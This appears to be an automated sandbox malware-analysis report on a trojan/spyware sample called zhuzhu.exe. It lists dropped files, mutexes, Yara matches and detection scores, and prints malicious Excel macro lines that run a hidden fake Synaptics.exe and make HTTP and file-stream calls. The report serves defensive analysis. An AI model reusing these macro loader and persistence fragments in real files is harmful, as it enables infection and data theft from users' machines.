Source: XZXHAVGRAG.xlsm.2.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: XZXHAVGRAG.xlsm.2.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: XZXHAVGRAG.xlsm.2.dr	OLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: XZXHAVGRAG.xlsm.2.dr	OLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: XZXHAVGRAG.xlsm.2.dr	OLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: XZXHAVGRAG.xlsm.2.dr	OLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: XZXHAVGRAG.xlsm.2.dr	OLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: XZXHAVGRAG.xlsm.2.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: XZXHAVGRAG.xlsm.2.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Source: FHfEA7As.xlsm.2.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write
Source: XZXHAVGRAG.xlsm.2.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write

Document contains an embedded VBA with functions possibly related to HTTP operations

Source: FHfEA7As.xlsm.2.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send
Source: XZXHAVGRAG.xlsm.2.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Source: FHfEA7As.xlsm.2.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ
Source: XZXHAVGRAG.xlsm.2.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ

Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Code function: 1_2_02861A37 GetModuleHandleA,CreateWindowExW,SendMessageW,CreateThread,PostQuitMessage,NtdllDefWindowProc_W,		1_2_02861A37
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Code function: 1_2_02861087 NtdllDefWindowProc_W,		1_2_02861087

Source: C:\Users\user\Downloads\inst.exe

Code function: 7_2_0016E080: GetCurrentProcessId,CreateFileW,DeviceIoControl,CloseHandle,

7_2_0016E080

Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_0377B463 ExitWindowsEx,	4_2_0377B463
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_0377B43F ExitWindowsEx,	4_2_0377B43F
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_0377B41B ExitWindowsEx,	4_2_0377B41B

Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Code function: 1_2_10010F10	1_2_10010F10
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Code function: 1_2_02860032	1_2_02860032
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Code function: 1_2_02870EE7	1_2_02870EE7
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_03776EE0	4_2_03776EE0
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_03776C50	4_2_03776C50
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_0378E341	4_2_0378E341
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_03788381	4_2_03788381
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_0378EA1D	4_2_0378EA1D
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_03778900	4_2_03778900
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_0378F9FF	4_2_0378F9FF
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_0378D89F	4_2_0378D89F
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_0378DDF0	4_2_0378DDF0
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_037724B0	4_2_037724B0
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_02C7122F	4_2_02C7122F
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_02C71E5C	4_2_02C71E5C
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_02C6B66A	4_2_02C6B66A
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_02C71780	4_2_02C71780
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_02C70CDE	4_2_02C70CDE
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_02C624B0	4_2_02C624B0
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_02C72D91	4_2_02C72D91
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_02BD0032	4_2_02BD0032
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_02BE1206	4_2_02BE1206
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_02BDB641	4_2_02BDB641
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_02BE1757	4_2_02BE1757
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_02BE0CB5	4_2_02BE0CB5
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_02BD2487	4_2_02BD2487
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_02BE2D68	4_2_02BE2D68
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_0360F3BE	4_2_0360F3BE
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_0360D25E	4_2_0360D25E
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_035F82BF	4_2_035F82BF
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_035F689F	4_2_035F689F
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_0360D7AF	4_2_0360D7AF
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_035F1E6F	4_2_035F1E6F
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_035F660F	4_2_035F660F
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_03607D40	4_2_03607D40
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_0360DD00	4_2_0360DD00
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_00199245	7_2_00199245
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_001B592D	7_2_001B592D
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_001EC8E0	7_2_001EC8E0
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_00172960	7_2_00172960
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_0016AA00	7_2_0016AA00
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_0019AB33	7_2_0019AB33
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_00180F04	7_2_00180F04
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_001630C0	7_2_001630C0
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_001671F0	7_2_001671F0
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_001D729C	7_2_001D729C
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_00181281	7_2_00181281
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_001674F0	7_2_001674F0
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_001E3970	7_2_001E3970
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_001F39CB	7_2_001F39CB
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_0016FF00	7_2_0016FF00
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_0016FF70	7_2_0016FF70
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_5F4FF494	7_2_5F4FF494
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_5F4DB3F0	7_2_5F4DB3F0
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_5F545F50	7_2_5F545F50
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_5F52FE58	7_2_5F52FE58
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_5F53FC7C	7_2_5F53FC7C
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_5F50DCD6	7_2_5F50DCD6
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_5F50DBDB	7_2_5F50DBDB
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_5F529BEE	7_2_5F529BEE
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_5F549AE0	7_2_5F549AE0
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_5F5138D1	7_2_5F5138D1
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_5F5458E0	7_2_5F5458E0
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_5F53F738	7_2_5F53F738
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_5F5297E2	7_2_5F5297E2
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_5F513785	7_2_5F513785
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_5F5457A0	7_2_5F5457A0
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_5F543500	7_2_5F543500
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_001EC8E0	12_2_001EC8E0
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_00172960	12_2_00172960
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_0016AA00	12_2_0016AA00
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_0019AB33	12_2_0019AB33
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_00180F04	12_2_00180F04
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_0016B050	12_2_0016B050
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_001630C0	12_2_001630C0
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_001671F0	12_2_001671F0
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_00199245	12_2_00199245
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_001D729C	12_2_001D729C
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_00181281	12_2_00181281
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_001674F0	12_2_001674F0
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_001E3970	12_2_001E3970
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_001F39CB	12_2_001F39CB
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_0016FF00	12_2_0016FF00
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_0016FF70	12_2_0016FF70

Source: FHfEA7As.xlsm.2.dr	OLE, VBA macro line: Private Sub Workbook_Open()
Source: FHfEA7As.xlsm.2.dr	OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)
Source: XZXHAVGRAG.xlsm.2.dr	OLE, VBA macro line: Private Sub Workbook_Open()
Source: XZXHAVGRAG.xlsm.2.dr	OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\inst[1].exe B35314C2C3B1AAB777D621C6FD8516A877B27EFBDE4DD4ADDD6843C411E96AA3
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\{92EE34F9-CBF9-4899-A446-C0FD9C9E29A7}.tmp\360P2SP.dll 0ECA2E140F973B2011C633D4D92E512A1F77E1DA610CFE0F4538C0B451270016

Source: C:\Users\user\Downloads\inst.exe	Code function: String function: 001F32AD appears 39 times
Source: C:\Users\user\Downloads\inst.exe	Code function: String function: 001E47DC appears 64 times
Source: C:\Users\user\Downloads\inst.exe	Code function: String function: 001E548A appears 42 times
Source: C:\Users\user\Downloads\inst.exe	Code function: String function: 5F51405E appears 62 times
Source: C:\Users\user\Downloads\inst.exe	Code function: String function: 5F528E24 appears 78 times
Source: C:\Users\user\Downloads\inst.exe	Code function: String function: 001C4164 appears 67 times
Source: C:\Users\user\Downloads\inst.exe	Code function: String function: 001E453E appears 92 times
Source: C:\Users\user\Downloads\inst.exe	Code function: String function: 00181BA2 appears 72 times
Source: C:\Users\user\Downloads\inst.exe	Code function: String function: 5F513F7C appears 87 times
Source: C:\Users\user\Downloads\inst.exe	Code function: String function: 001E5454 appears 83 times
Source: C:\Users\user\Downloads\inst.exe	Code function: String function: 0016B780 appears 69 times
Source: C:\Users\user\Downloads\inst.exe	Code function: String function: 5F513F0C appears 38 times
Source: C:\Users\user\Downloads\inst.exe	Code function: String function: 00178675 appears 259 times
Source: C:\Users\user\Downloads\inst.exe	Code function: String function: 0017CC03 appears 40 times
Source: C:\Users\user\Downloads\inst.exe	Code function: String function: 001E5421 appears 800 times
Source: C:\Users\user\Downloads\inst.exe	Code function: String function: 001E4D50 appears 76 times
Source: C:\Users\user\Downloads\inst.exe	Code function: String function: 0016B680 appears 38 times
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: String function: 03784300 appears 32 times

Source: C:\ProgramData\Synaptics\Synaptics.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5780 -s 12156

Source: zhuzhu.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: zhuzhu.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: Synaptics.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: Synaptics.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: RCXE77E.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: inst[1].exe.1.dr	Static PE information: Resource name: CAB type: Microsoft Cabinet archive data, many, 1346052 bytes, 3 files, at 0x2c +A "sites.dll" +A "themes\theme_NewInstallAir.xml", number 1, 81 datablocks, 0x1 compression
Source: inst[1].exe.1.dr	Static PE information: Resource name: DLL type: Microsoft Cabinet archive data, Windows 2000/XP setup, 304652 bytes, 1 file, at 0x2c +A "360P2SP.dll", ID 808, number 1, 22 datablocks, 0x1503 compression
Source: inst[1].exe.1.dr	Static PE information: Resource name: DLL type: Microsoft Cabinet archive data, Windows 2000/XP setup, 348915 bytes, 1 file, at 0x2c +A "urlproc.dll", number 1, 22 datablocks, 0x1 compression
Source: inst[1].exe.1.dr	Static PE information: Resource name: LETTER type: Microsoft Cabinet archive data, Windows 2000/XP setup, 781 bytes, 1 file, at 0x2c +A "letter.rtf", number 1, 1 datablock, 0x1 compression
Source: inst[1].exe.1.dr	Static PE information: Resource name: LICENCE type: Microsoft Cabinet archive data, Windows 2000/XP setup, 12165 bytes, 1 file, at 0x2c +A "licence.rtf", number 1, 2 datablocks, 0x1 compression
Source: inst[1].exe.1.dr	Static PE information: Resource name: PRIVACY type: Microsoft Cabinet archive data, Windows 2000/XP setup, 11763 bytes, 1 file, at 0x2c +A "privacy.rtf", number 1, 1 datablock, 0x1 compression
Source: inst[1].exe.1.dr	Static PE information: Resource name: VIEWER type: Microsoft Cabinet archive data, Windows 2000/XP setup, 751718 bytes, 1 file, at 0x2c +A "AgreementViewer.exe", number 1, 53 datablocks, 0x1 compression
Source: inst.exe.1.dr	Static PE information: Resource name: CAB type: Microsoft Cabinet archive data, many, 1346052 bytes, 3 files, at 0x2c +A "sites.dll" +A "themes\theme_NewInstallAir.xml", number 1, 81 datablocks, 0x1 compression
Source: inst.exe.1.dr	Static PE information: Resource name: DLL type: Microsoft Cabinet archive data, Windows 2000/XP setup, 304652 bytes, 1 file, at 0x2c +A "360P2SP.dll", ID 808, number 1, 22 datablocks, 0x1503 compression
Source: inst.exe.1.dr	Static PE information: Resource name: DLL type: Microsoft Cabinet archive data, Windows 2000/XP setup, 348915 bytes, 1 file, at 0x2c +A "urlproc.dll", number 1, 22 datablocks, 0x1 compression
Source: inst.exe.1.dr	Static PE information: Resource name: LETTER type: Microsoft Cabinet archive data, Windows 2000/XP setup, 781 bytes, 1 file, at 0x2c +A "letter.rtf", number 1, 1 datablock, 0x1 compression
Source: inst.exe.1.dr	Static PE information: Resource name: LICENCE type: Microsoft Cabinet archive data, Windows 2000/XP setup, 12165 bytes, 1 file, at 0x2c +A "licence.rtf", number 1, 2 datablocks, 0x1 compression
Source: inst.exe.1.dr	Static PE information: Resource name: PRIVACY type: Microsoft Cabinet archive data, Windows 2000/XP setup, 11763 bytes, 1 file, at 0x2c +A "privacy.rtf", number 1, 1 datablock, 0x1 compression
Source: inst.exe.1.dr	Static PE information: Resource name: VIEWER type: Microsoft Cabinet archive data, Windows 2000/XP setup, 751718 bytes, 1 file, at 0x2c +A "AgreementViewer.exe", number 1, 53 datablocks, 0x1 compression
Source: ~$cache1.2.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Source: zhuzhu.exe, 00000000.00000003.1670734044.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs zhuzhu.exe
Source: zhuzhu.exe, 00000000.00000003.1670210944.00000000026B0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameb! vs zhuzhu.exe
Source: zhuzhu.exe, 00000000.00000000.1657184118.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs zhuzhu.exe
Source: zhuzhu.exe, 00000000.00000003.1669279532.0000000000DB2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameb! vs zhuzhu.exe
Source: zhuzhu.exe, 00000000.00000003.1670734044.0000000000D56000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileName# vs zhuzhu.exe
Source: ._cache_zhuzhu.exe, 00000001.00000002.1773595012.0000000000AE3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs zhuzhu.exe
Source: zhuzhu.exe	Binary or memory string: OriginalFileName vs zhuzhu.exe
Source: zhuzhu.exe	Binary or memory string: OriginalFilenameV vs zhuzhu.exe
Source: zhuzhu.exe	Binary or memory string: OriginalFilenameb! vs zhuzhu.exe
Source: ._cache_zhuzhu.exe.1.dr	Binary or memory string: OriginalFilenameV vs zhuzhu.exe
Source: ._cache_zhuzhu.exe.0.dr	Binary or memory string: OriginalFilenameV vs zhuzhu.exe

Source: zhuzhu.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: classification engine

Classification label: mal100.bank.troj.spyw.expl.evad.winEXE@26/101@20/14

Source: C:\Users\user\Downloads\inst.exe

Code function: 7_2_5F4D5930 SetLastError,GetLastError,SetLastError,GetLastError,_wcsrchr,_wcsncpy,_strerror,MultiByteToWideChar,_wcsncpy,LoadLibraryW,LoadLibraryW,LoadLibraryW,LoadLibraryW,FormatMessageW,_wcstok,_vswprintf_s,_wcsncpy,GetSystemTime,LocalFree,FreeLibrary,

7_2_5F4D5930

Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_03777B70 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,CloseHandle,	4_2_03777B70
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_03777740 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,	4_2_03777740
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_03777620 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,OpenProcess,	4_2_03777620
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_5F4D7A1F GetCurrentProcess,OpenProcessToken,GetLastError,LookupPrivilegeValueW,CloseHandle,AdjustTokenPrivileges,CloseHandle,GetLastError,CloseHandle,	7_2_5F4D7A1F

Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe

Code function: 4_2_03776C50 wsprintfW,MultiByteToWideChar,GetDriveTypeW,GetDiskFreeSpaceExW,_memset,GlobalMemoryStatusEx,swprintf,swprintf,

4_2_03776C50

Source: C:\Users\user\Desktop\._cache_zhuzhu.exe

Code function: 1_2_1000F260 CreateToolhelp32Snapshot,Process32FirstW,?cerr@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A,?cerr@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,CloseHandle,_wcsicmp,CloseHandle,Process32NextW,CloseHandle,

1_2_1000F260

Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe

Code function: 4_2_03776150 wsprintfW,_memset,lstrcatW,lstrcatW,lstrcatW,CoCreateInstance,wsprintfW,RegOpenKeyExW,_memset,wsprintfW,RegOpenKeyExW,_memset,RegQueryValueExW,lstrcatW,lstrcatW,lstrcatW,RegCloseKey,lstrlenW,lstrcatW,

4_2_03776150

Source: C:\Users\user\Downloads\inst.exe

Code function: 7_2_001D0145 _memset,FindResourceW,SizeofResource,LoadResource,LockResource,

7_2_001D0145

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Jump to behavior

Source: C:\Users\user\Desktop\zhuzhu.exe

File created: C:\Users\user\Desktop\._cache_zhuzhu.exe

Jump to behavior

Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Mutant created: \Sessions\1\BaseNamedObjects\Xoreax_LogMutex_._cache_zhuzhu
Source: C:\Users\user\Downloads\inst.exe	Mutant created: \Sessions\1\BaseNamedObjects\1830B7BD-F7A3-4c4d-989B-C004DE465EDE 7556
Source: C:\Users\user\Downloads\inst.exe	Mutant created: \Sessions\1\BaseNamedObjects\1830B7BD-F7A3-4c4d-989B-C004DE465EDE 7448
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5780
Source: C:\Users\user\Downloads\inst.exe	Mutant created: \Sessions\1\BaseNamedObjects\Q360SafeInstallerMutex
Source: C:\ProgramData\Synaptics\Synaptics.exe	Mutant created: \Sessions\1\BaseNamedObjects\Synaptics2X
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\XoreaxIncredibuild_._cache_zhuzhu_Mutex
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7504:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3068:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7496:120:WilError_03
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Mutant created: \Sessions\1\BaseNamedObjects\2024.12. 3
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Mutant created: \Sessions\1\BaseNamedObjects\XoreaxIncredibuild_._cache_zhuzhu_Mutex_user_WinSta0

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\AppData\Local\Temp\FHfEA7As.xlsm

Jump to behavior

Source: Yara match	File source: zhuzhu.exe, type: SAMPLE
Source: Yara match	File source: 1.2.._cache_zhuzhu.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.zhuzhu.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.._cache_zhuzhu.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1772641629.0000000000403000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1657184118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.1663851009.0000000000401000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1657356123.00000000004A5000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1666861585.00000000067FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\Documents\DTBZGIOOSO\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\RCXE77E.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Desktop\._cache_zhuzhu.exe, type: DROPPED

Source: C:\Users\user\Desktop\zhuzhu.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\ProgramData\Synaptics\Synaptics.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Users\user\Desktop\zhuzhu.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\zhuzhu.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: zhuzhu.exe	Virustotal: Detection: 83%
Source: zhuzhu.exe	ReversingLabs: Detection: 92%

Source: ._cache_zhuzhu.exe	String found in binary or memory: es>false</StopIfGoingOnBatteries> <AllowHardTerminate>false</AllowHardTerminate> <StartWhenAvailable>true</StartWhenAvaila
Source: ._cache_zhuzhu.exe	String found in binary or memory: es>false</StopIfGoingOnBatteries> <AllowHardTerminate>false</AllowHardTerminate> <StartWhenAvailable>true</StartWhenAvaila
Source: ._cache_zhuzhu.exe	String found in binary or memory: le> <RunOnlyIfNetworkAvailable>true</RunOnlyIfNetworkAvailable> <IdleSettings> <StopOnIdleEnd>true</StopOnIdleEnd>
Source: ._cache_zhuzhu.exe	String found in binary or memory: le> <RunOnlyIfNetworkAvailable>true</RunOnlyIfNetworkAvailable> <IdleSettings> <StopOnIdleEnd>true</StopOnIdleEnd>
Source: inst.exe	String found in binary or memory: /pid=%s /noreboot=1 /installer=1 /SMARTSILENCE
Source: inst.exe	String found in binary or memory: --secore-restore --360se_pid=8000041 --silent-install --not-create-mplnk
Source: inst.exe	String found in binary or memory: --secore-restore --360se_pid=8000041 --silent-install --not-create-mplnk
Source: zhuzhu.exe	String found in binary or memory: -ADDCUSTOMCOLORBUTTON_CAP=Add to Custom Colors

Source: C:\Users\user\Desktop\zhuzhu.exe

File read: C:\Users\user\Desktop\zhuzhu.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\zhuzhu.exe "C:\Users\user\Desktop\zhuzhu.exe"
Source: C:\Users\user\Desktop\zhuzhu.exe	Process created: C:\Users\user\Desktop\._cache_zhuzhu.exe "C:\Users\user\Desktop\._cache_zhuzhu.exe"
Source: C:\Users\user\Desktop\zhuzhu.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Process created: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe "C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe"
Source: unknown	Process created: C:\Users\user\Downloads\inst.exe C:\Users\user\Downloads\inst.exe
